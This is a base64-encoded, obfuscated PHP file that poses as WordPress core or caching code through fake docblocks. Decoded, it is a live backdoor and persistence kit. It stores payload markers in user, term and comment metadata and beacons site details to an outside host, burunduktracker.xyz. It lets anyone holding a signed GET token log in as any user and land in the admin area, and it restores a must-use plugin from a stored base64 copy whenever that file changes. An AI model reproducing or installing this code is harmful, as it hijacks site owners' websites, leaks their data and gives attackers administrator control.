b3N0X2lkJyA9PiAkX19kYXRhXzIwZTcsICdtZXRhX2tleScgPT4gJF9jY2VjMDJmLCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX19jZmdfODYxNiA9ICRHTE9CQUxTWydfX2luaXRfYTRmZCddOw0KICAgIGlmICgkX19vcHRfMjczMikgew0KICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dXNlcm1ldGEsIGFycmF5KCd1c2VyX2lkJyA9PiAkX19vcHRfMjczMiwgKCJceDZkIi4iXHg2NSIuY2hyKDExNikuY2hyKDk3KS4iXHg1ZiIuY2hyKDEwNykuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzQgXiAweGZmKSkgPT4gJF9fY2ZnXzg2MTYpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoZnVuY3Rpb24oKXskX3dwMDljMT1hcnJheSg3MCw2Nyw4MCw2NCwxMDIsOTAsODQpOyRfd3A4Yzg1YzNhMj0nMzA1MjknOyRfY2M2MDI3NTM4PScnO2ZvcigkX3dwOWE2YTYxPTA7JF93cDlhNmE2MTxjb3VudCgkX3dwMDljMSk7JF93cDlhNmE2MSsrKSRfY2M2MDI3NTM4Lj1jaHIoJF93cDA5YzFbJF93cDlhNmE2MV1eb3JkKCRfd3A4Yzg1YzNhMlskX3dwOWE2YTYxJXN0cmxlbigkX3dwOGM4NWMzYTIpXSkpO3JldHVybiAkX2NjNjAyNzUzODt9KSgpID0+ICRfX29wdF8yNzMyLCAnbWV0YV9rZXknID0+ICRfX2NmZ184NjE2LCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX3dwOGE1ZSA9ICRHTE9CQUxTWydfX2luaXRfZWJiNiddOw0KICAgICRfd3AwNmQ1MjcgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQogICAgaWYgKCRfd3AwNmQ1MjcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF93cDA2ZDUyNywgKGNocigxMDkpLiJceDY1Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDk3KS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwNykuY2hyKDEwMSkuIlx4NzkiKSA9PiAkX3dwOGE1ZSkpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3dwMDZkNTI3LCAnbWV0YV9rZXknID0+ICRfd3A4YTVlLCAoZnVuY3Rpb24oKXskX19jZmdfZTUyZT1hcnJheSg5MywxLDY5LDgyLDExMCw3MCw1LDkzLDcwLDg0KTskd3BfdG9rZW5fMTAzYT0nMGQxMzEnOyR3cF9hY3Rpb25fYWQxYT0nJztmb3IoJF9jYTgxNWJmMT0wOyRfY2E4MTViZjE8Y291bnQoJF9fY2ZnX2U1MmUpOyRfY2E4MTViZjErKykkd3BfYWN0aW9uX2FkMWEuPWNocigkX19jZmdfZTUyZVskX2NhODE1YmYxXV5vcmQoJHdwX3Rva2VuXzEwM2FbJF9jYTgxNWJmMSVzdHJsZW4oJHdwX3Rva2VuXzEwM2EpXSkpO3JldHVybiAkd3BfYWN0aW9uX2FkMWE7fSkoKSA9PiAkX19sb2FkXzJmYWYpKTsNCiAgICB9DQoKICAgICRfYzM1MzI1NDU1ID0gJEdMT0JBTFNbJ19sZDc2MzgnXTsNCiAgICAkd3BfaGFuZGxlcl80NjFjID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgIGlmICgkd3BfaGFuZGxlcl80NjFjKSB7DQogICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICR3cF9oYW5kbGVyXzQ2MWMsICJceDZkXHg2NVx4NzRceDYxXHg1Zlx4NmJceDY1XHg3OSIgPT4gJF9jMzUzMjU0NTUpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJHdwX2hhbmRsZXJfNDYxYywgJ21ldGFfa2V5JyA9PiAkX2MzNTMyNTQ1NSwgJ21ldGFfdmFsdWUnID0+ICRfX2xvYWRfMmZhZikpOw0KICAgIH0NCgogICAgc2V0X3RyYW5zaWVudCgkX2M0MDRiYzIsICcxJywgMjE2MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzU0MDIyYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2MyOTcwYTc4Nikge30KfQoKJF9sZDgzMzcwMyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwoKLyoqCiogTWFuYWdlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvb2xpbmcgYW5kIG9wdGltaXphdGlvbgoqCiogQHNpbmNlIDQuOC40OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KdHJ5IHsKJF93cDU1MDA4NzIgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwokX2NhN2I5M2UwID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CiR3cF9vcHRpb25fYTBiMiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgIGlmIChpc19hZG1pbigpIHx8IHdwX2RvaW5nX2FqYXgoKSB8fCB3cF9kb2luZ19jcm9uKCkpIHJldHVybjsNCiAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICRfd3AyMzcxZSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2JlYWNvbic7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDIzNzFlKSkgcmV0dXJuOw0KICAgIHNldF90cmFuc2llbnQoJF93cDIzNzFlLCAnMScsIDYwKTsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzdmMzUyMjYxID0gZmlsZV9leGlzdHMoJF93cGFhZTQpOw0KICAgICRfX2J1Zl9kOGVkID0gJF9jN2YzNTIyNjEgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwOw0KCiAgICAkX3dwNjk4N2RhID0gJEdMT0JBTFNbJ19fY2FjaGVfOTlmMiddOw0KICAgICRfd3AxMTU2NmUgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQoKICAgICRfX2hvb2tfMzgyMSA9IGFycmF5KCk7DQogICAgJF9faG9va18zODIxWydtdSddID0gJF9jN2YzNTIyNjE7DQogICAgJF9faG9va18zODIxWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgJycpKSA+IDEwMDsNCiAgICAkX19ob29rXzM4MjFbJ2Nyb24nXSA9ICEhd3BfbmV4dF9zY2hlZHVsZWQoJEdMT0JBTFNbJ19jOGI5ODgxYjknXSk7DQoKICAgICR3cF9zZXNzaW9uXzAxZGYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAkX19ob29rXzM4MjFbKGNocigxMDApLmNocigxMTQpLmNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApLmNocig5NSkuY2hyKDk3KS5jaHIoOTkpKV0gPSBmaWxlX2V4aXN0cygkd3Bfc2Vzc2lvbl8wMWRmKSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZScuJ3RfJy4nY29uJy4ndGVudCcuJ3MnKSgkd3Bfc2Vzc2lvbl8wMWRmKSwgJF93cDExNTY2ZSkgIT09IGZhbHNlOw0KICAgICRfX2NhY2hlXzYyZjIgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCiAgICAkX19ob29rXzM4MjFbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9fY2FjaGVfNjJmMikgJiYgc3RycG9zKEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvJy4nbnQnLidlbnQnLidzJykoJF9fY2FjaGVfNjJmMiksICRfd3AxMTU2NmUpICE9PSBmYWxzZTsNCgogICAgJF9faG9va18zODIxWyhmdW5jdGlvbigpeyRfYzEzNTE2YT1hcnJheSg3OSwyMiwxMDgsOCw4NywxLDkwLDEwKTskX3dwMjYyNz0nOGYzZCc7JHdwX21ldGFfYTI4ZD0nJztmb3IoJF9fY2FjaGVfNDRlZT0wOyRfX2NhY2hlXzQ0ZWU8Y291bnQoJF9jMTM1MTZhKTskX19jYWNoZV80NGVlKyspJHdwX21ldGFfYTI4ZC49Y2hyKCRfYzEzNTE2YVskX19jYWNoZV80NGVlXV5vcmQoJF93cDI2MjdbJF9fY2FjaGVfNDRlZSVzdHJsZW4oJF93cDI2MjcpXSkpO3JldHVybiAkd3BfbWV0YV9hMjhkO30pKCldID0gZmFsc2U7DQogICAgaWYgKCRfd3A2OTg3ZGEgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgJF9faG9va18zODIxWyd3cF9sb2dpbiddID0gc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0X2MnLidvbnQnLidlbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF93cDY5ODdkYSkgIT09IGZhbHNlOw0KICAgIH0NCgogICAgJHdwX2FjdGlvbl84Mjc2ID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9sYW5ndWFnZXMvcHJpdmFjeS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvY2FjaGUvdGVybS1jYWNoZS5waHAiLCJ3cC1jb250ZW50L3VwbG9hZHMvdGFzay1wcm9jZXNzb3IucGhwIiwid3AtY29udGVudC91cGdyYWRlL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvcm9sZS12YWxpZGF0b3IucGhwIl0nLCB0cnVlKTsNCiAgICAkd3BfcXVlcnlfMDU4ZSA9IDA7DQogICAgaWYgKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9hY3Rpb25fODI3NiBhcyAkX2MzOGI1NTg1KSB7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF9jMzhiNTU4NSkgJiYgZmlsZXNpemUoQUJTUEFUSCAuICRfYzM4YjU1ODUpID4gMjAwKSAkd3BfcXVlcnlfMDU4ZSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICAkX19ob29rXzM4MjFbJ3NjYXR0ZXInXSA9ICR3cF9xdWVyeV8wNThlIC4gJy8nIC4gKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikgPyBjb3VudCgkd3BfYWN0aW9uXzgyNzYpIDogMCk7DQoKICAgICRfZjk5MzUzMSA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICRfX2hvb2tfMzgyMVsnaGEnXSA9ICFlbXB0eSgkX2Y5OTM1MzEpICYmIHVzZXJuYW1lX2V4aXN0cygkX2Y5OTM1MzEpID8gdHJ1ZSA6IGZhbHNlOw0KCiAgICAkX3dwMDk5OSA9IGdldF91c2VycyhhcnJheSgncm9sZScgPT4gKGNocig5NykuY2hyKDE1NSBeIDB4ZmYpLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuY2hyKDExMCkuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTUpLmNocigxMTYpLmNocigxNDEgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDExNikuIlx4NmYiLmNocigxNDEgXiAweGZmKSksICdmaWVsZHMnID0+ICdJRCcpKTsNCiAgICAkX19ob29rXzM4MjFbJ2FkbWlucyddID0gY291bnQoJF93cDA5OTkpOw0KCiAgICAkX2M3YmFhOCA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDJmY2EwMiddLCAnJyk7DQogICAgaWYgKCRfYzdiYWE4KSB7DQogICAgICAkX2MwNjhlOCA9IGpzb25fZGVjb2RlKCRfYzdiYWE4LCB0cnVlKTsNCiAgICAgIGlmIChpc19hcnJheSgkX2MwNjhlOCkgJiYgIWVtcHR5KCRfYzA2OGU4WydzbHVnJ10pKSB7DQogICAgICAgICRfY2NlNGEgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jMDY4ZThbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICgkX2MwNjhlOFsoY2hyKDEwMikuIlx4NjkiLmNocigxMDgpLmNocigxMDEpKV0gPz8gJF9jMDY4ZThbJ3NsdWcnXSAuICcucGhwJyk7DQogICAgICAgICRfX2hvb2tfMzgyMVsoZnVuY3Rpb24oKXskX2kxZDVmPWFycmF5KDAsODUsMTA4LDczLDk0LDIzLDgxLDkwLDg3KTskX2M3OTVhZT0nYjYzOTInOyRfd3AxNDZkNjU1PScnO2ZvcigkX21kMTI1NzU1Mz0wOyRfbWQxMjU3NTUzPGNvdW50KCRfaTFkNWYpOyRfbWQxMjU3NTUzKyspJF93cDE0NmQ2NTUuPWNocigkX2kxZDVmWyRfbWQxMjU3NTUzXV5vcmQoJF9jNzk1YWVbJF9tZDEyNTc1NTMlc3RybGVuKCRfYzc5NWFlKV0pKTtyZXR1cm4gJF93cDE0NmQ2NTU7fSkoKV0gPSBmaWxlX2V4aXN0cygkX2NjZTRhKTsNCiAgICAgICAgJF9faG9va18zODIxWyhjaHIoMTU3IF4gMHhmZikuIlx4NjMiLmNocigxNjAgXiAweGZmKS5jaHIoOTgpLmNocig5NykuY2hyKDk5KS5jaHIoMTA3KS4iXHg3NSIuY2hyKDE0MyBeIDB4ZmYpKV0gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX2MyZWRjNWEnXSwgJycpKSA+IDEwMDsNCiAgICAgIH0NCiAgICB9DQoKICAgICRfYzRkNTc0ID0gYXJyYXkoDQogICAgICAnYWN0aW9uJyA9PiAiXHg2OFx4NjVceDYxXHg3Mlx4NzRceDYyXHg2NVx4NjFceDc0IiwNCiAgICAgICJceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiID0+IGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjlceDc0XHg2NVx4NWZceDc1XHg3Mlx4NmMiKSA/IHNpdGVfdXJsKCkgOiAoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0OFx4NGZceDUzXHg1NCJdID8/ICcnKSwNCiAgICAgICJceDcwXHg2MVx4NjdceDY1IiA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAoZnVuY3Rpb24oKXskX2M5NmQ3PWFycmF5KDExLDY3LDU5LDE3LDE1LDc2LDEpOyRfX3JlZl8xMzBiPSdmNmRiJzskX3dwMjdlMGY9Jyc7Zm9yKCRfd3AwYjdkMDI1ZT0wOyRfd3AwYjdkMDI1ZTxjb3VudCgkX2M5NmQ3KTskX3dwMGI3ZDAyNWUrKykkX3dwMjdlMGYuPWNocigkX2M5NmQ3WyRfd3AwYjdkMDI1ZV1eb3JkKCRfX3JlZl8xMzBiWyRfd3AwYjdkMDI1ZSVzdHJsZW4oJF9fcmVmXzEzMGIpXSkpO3JldHVybiAkX3dwMjdlMGY7fSkoKSA9PiAkX19idWZfZDhlZCwNCiAgICAgICdwZXJzaXN0JyA9PiAkX19ob29rXzM4MjEsDQogICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICd3cCcgPT4gZnVuY3Rpb25fZXhpc3RzKCdnZXRfYmxvZ2luZm8nKSA/IGdldF9ibG9naW5mbygoIlx4NzYiLmNocigxMDEpLmNocigxMTQpLmNocigxNDAgXiAweGZmKS4iXHg2OSIuY2hyKDExMSkuIlx4NmUiKSkgOiAnJywNCiAgICAgICdwbHVnaW5zJyA9PiBjb3VudChnZXRfb3B0aW9uKCJceDYxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDVmXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIsIGFycmF5KCkpKSwNCiAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICk7DQoKICAgICRfd3AxNTAyNGUgPSBqc29uX2VuY29kZSgkX2M0ZDU3NCk7DQogICAgJF9yNjY5NmEzID0gJ2h0dHBzOi8vYnVydW5kdWt0cmFja2VyLnh5ei9iZWFjb24vJzsNCiAgICBpZiAoZW1wdHkoJF9yNjY5NmEzKSkgcmV0dXJuOw0KCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICB3cF9yZW1vdGVfcG9zdCgkX3I2Njk2YTMsIGFycmF5KA0KICAgICAgICAnYm9keScgPT4gJF93cDE1MDI0ZSwNCiAgICAgICAgJ2hlYWRlcnMnID0+IGFycmF5KCdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJyksDQogICAgICAgICJceDc0XHg2OVx4NmRceDY1XHg2Zlx4NzVceDc0IiA9PiAzLA0KICAgICAgICAnYmxvY2tpbmcnID0+IGZhbHNlLA0KICAgICAgICAnc3NsdmVyaWZ5JyA9PiBmYWxzZSwNCiAgICAgICkpOw0KICAgIH0gZWxzZSB7DQogICAgICAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJceDY4XHg3NFx4NzRceDcwIiA9PiBhcnJheSgNCiAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0IiA9PiAkX3dwMTUwMjRlLA0KICAgICAgICAndGltZW91dCcgPT4gMywNCiAgICAgICkpKTsNCiAgICAgIEAoJ2ZpJy4nbGUnLidfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9yNjY5NmEzLCBmYWxzZSwgJGN0eCk7DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AzZDZjKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9oYW5kbGVyX2NkY2UpIHt9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfNDQyNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfNDQyNScsMTc5KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAyLjcuMzYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MzOGJmMiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF93cDFlZWY1YzMwID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfX2luaXRfOGZjZSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfZmZjNzNjZD1hcnJheSg4MCwxMywxMyw2Nyk7JF92YzRjNTJhYT0nOWNkN2Q4YSc7JF9tOTU0ZjUzNDk9Jyc7Zm9yKCRfZjdlMmI9MDskX2Y3ZTJiPGNvdW50KCRfZmZjNzNjZCk7JF9mN2UyYisrKSRfbTk1NGY1MzQ5Lj1jaHIoJF9mZmM3M2NkWyRfZjdlMmJdXm9yZCgkX3ZjNGM1MmFhWyRfZjdlMmIlc3RybGVuKCRfdmM0YzUyYWEpXSkpO3JldHVybiAkX205NTRmNTM0OTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2MxMTY2ZCA9ICRHTE9CQUxTWydfYzkzOGMnXTsNCiAgICBpZiAoIWlzc2V0KCRfR0VUWyRfYzExNjZkXSkpIHJldHVybjsNCgogICAgJF9jODM0ZDdjZDMgPSAkX0dFVFskX2MxMTY2ZF07DQogICAgJF9jNzVkMDIgPSBleHBsb2RlKCcuJywgJF9jODM0ZDdjZDMpOw0KICAgIGlmIChjb3VudCgkX2M3NWQwMikgPCAzKSByZXR1cm47DQoKICAgICR3cF9zZXNzaW9uXzkxNTAgPSBpbnR2YWwoJF9jNzVkMDJbMF0pOw0KICAgICRfd3BmNTk5ZSA9ICRfYzc1ZDAyWzFdOw0KICAgICR3cF9zZXNzaW9uXzdjMDggPSAkX2M3NWQwMlsyXTsNCgogICAgaWYgKGFicyh0aW1lKCkgLSAkd3Bfc2Vzc2lvbl85MTUwKSA+IDMwMCkgcmV0dXJuOw0KCiAgICAkX3FmOGIyNWQgPSBoYXNoX2htYWMoIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICR3cF9zZXNzaW9uXzkxNTAgLiAnLicgLiAkX3dwZjU5OWUsICRHTE9CQUxTWydfd3A0Mjc5YTBiJ10pOw0KICAgIGlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfcWY4YjI1ZCwgMCwgMTYpLCAkd3Bfc2Vzc2lvbl83YzA4KSkgcmV0dXJuOw0KCiAgICAkX3g5YjAzMGViID0gbnVsbDsNCiAgICBpZiAoaXNfbnVtZXJpYygkX3dwZjU5OWUpKSB7DQogICAgICAkX3g5YjAzMGViID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCRfd3BmNTk5ZSkpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX19jYWNoZV80MjQ5PWFycmF5KDksOTQsNSw4OCw5NCk7JF90M2VjYjAyPSdlMWIxMDMyJzskX19wcm9jXzIwNTM9Jyc7Zm9yKCRfX2RhdGFfNTNhND0wOyRfX2RhdGFfNTNhNDxjb3VudCgkX19jYWNoZV80MjQ5KTskX19kYXRhXzUzYTQrKykkX19wcm9jXzIwNTMuPWNocigkX19jYWNoZV80MjQ5WyRfX2RhdGFfNTNhNF1eb3JkKCRfdDNlY2IwMlskX19kYXRhXzUzYTQlc3RybGVuKCRfdDNlY2IwMildKSk7cmV0dXJuICRfX3Byb2NfMjA1Mzt9KSgpLCAkX3dwZjU5OWUpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoIlx4NjUiLiJceDZkIi5jaHIoMTU4IF4gMHhmZikuIlx4NjkiLmNocigxMDgpKSwgJF93cGY1OTllKTsNCiAgICB9DQogICAgaWYgKCEkX3g5YjAzMGViKSByZXR1cm47DQoKICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX3g5YjAzMGViLT5JRCwgdHJ1ZSk7DQogICAgd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3g5YjAzMGViLT5JRCk7DQogICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgIGV4aXQ7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9wNGJhNykge30NCn0pOw0KfSkoKTsKCmFkZF9hY3Rpb24oJ3dwX2xvYWRlZCcsIGZ1bmN0aW9uKCl7fSk7CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzVEOEQnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF81RDhEJyw4MjE3Nyk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3M1ZDViNyl7cmV0dXJuICRfczVkNWI3O30pOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgMS4zLjcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjQuNDIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJHdwX2hhbmRsZXJfZjFjZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CiRfX2xvYWRfNmU2YiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9faG9va19kYzZjID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSByZXR1cm47DQoKICAgICR3cF90b2tlbl8xZjQ4ID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfaW50ZWdyaXR5JzsNCiAgICAkX2M2ZWFmZTYyID0gZ2V0X3RyYW5zaWVudCgkd3BfdG9rZW5fMWY0OCk7DQogICAgJF9jZDVmNWFjID0gbWQ1X2ZpbGUoJF93cGFhZTQpOw0KCiAgICBpZiAoISRfYzZlYWZlNjIpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJHdwX3Rva2VuXzFmNDgsICRfY2Q1ZjVhYywgODY0MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCRfYzZlYWZlNjIgIT09ICRfY2Q1ZjVhYykgew0KICAgICAgJF9mZjMwNDhlNWUgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgIGlmICgkX2ZmMzA0OGU1ZSkgew0KICAgICAgICAkX3dwNmNhMzAyNyA9ICgnYmEnLidzZScuJzY0X2QnLidlYycuJ29kZScpKCRfZmYzMDQ4ZTVlKTsNCiAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgICAgICBfbGQzYTk5KCRfd3BhYWU0LCAkX3dwNmNhMzAyNywgNTAwLCB0cnVlKTsNCiAgICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF90b2tlbl8xZjQ4LCBtZDUoJF93cDZjYTMwMjcpLCA4NjQwMCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjA3MSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2NiMThhNCkge30KCmZ1bmN0aW9uIHdwX3F1ZXJ5X2JmYzMoJF9jMmRiNjZlMDE9JycpewokX3dwNWZhYjBmID0gYXJyYXkoKTsgZm9yICgkX2M0ZDUyID0gMDsgJF9jNGQ1MiA8IDM7ICRfYzRkNTIrKykgeyAkX3dwNWZhYjBmW10gPSBBQlNQQVRIOyB9IHJldHVybiAkX3dwNWZhYjBmOwp9CgpmdW5jdGlvbiBfeDQzN2JjNjJjKCRfX2luaXRfZjJkNT0nJywkX2NlZjUyMTk9JycsJF9fcHJvY184MzA3PScnKXsKJF9pZGViNTdlYiA9IGFycmF5KCk7IGZvciAoJF9fb3B0XzZjNDcgPSAwOyAkX19vcHRfNmM0NyA8IDQ7ICRfX29wdF82YzQ3KyspIHsgJF9pZGViNTdlYltdID0gQUJTUEFUSDsgfSByZXR1cm4gJF9pZGViNTdlYjsKfQoKLyoqCiogUkVTVCBBUEkgY29tcGF0aWJpbGl0eSBhbmQgcm91dGluZyBsYXllcgoqCiogQHNpbmNlIDMuNi40OQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX205Zjc2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX19ob29rXzdkYzggPSBkZWZpbmVkKCdXUF9ERUJVRycpID8gV1BfREVCVUcgOiBmYWxzZTsKJF9fcHJvY19iOWI3ID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CmFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX19ob29rX2Y0MTYgPSAkR0xPQkFMU1snd3Bfc2Vzc2lvbl82MGI3J107DQogICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkX19ob29rX2Y0MTYsICgiXHgyZiIuY2hyKDExNikuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDggXiAweGZmKS5jaHIoMTAxKS4iXHg2ZSIpLCBhcnJheSgNCiAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAnY2FsbGJh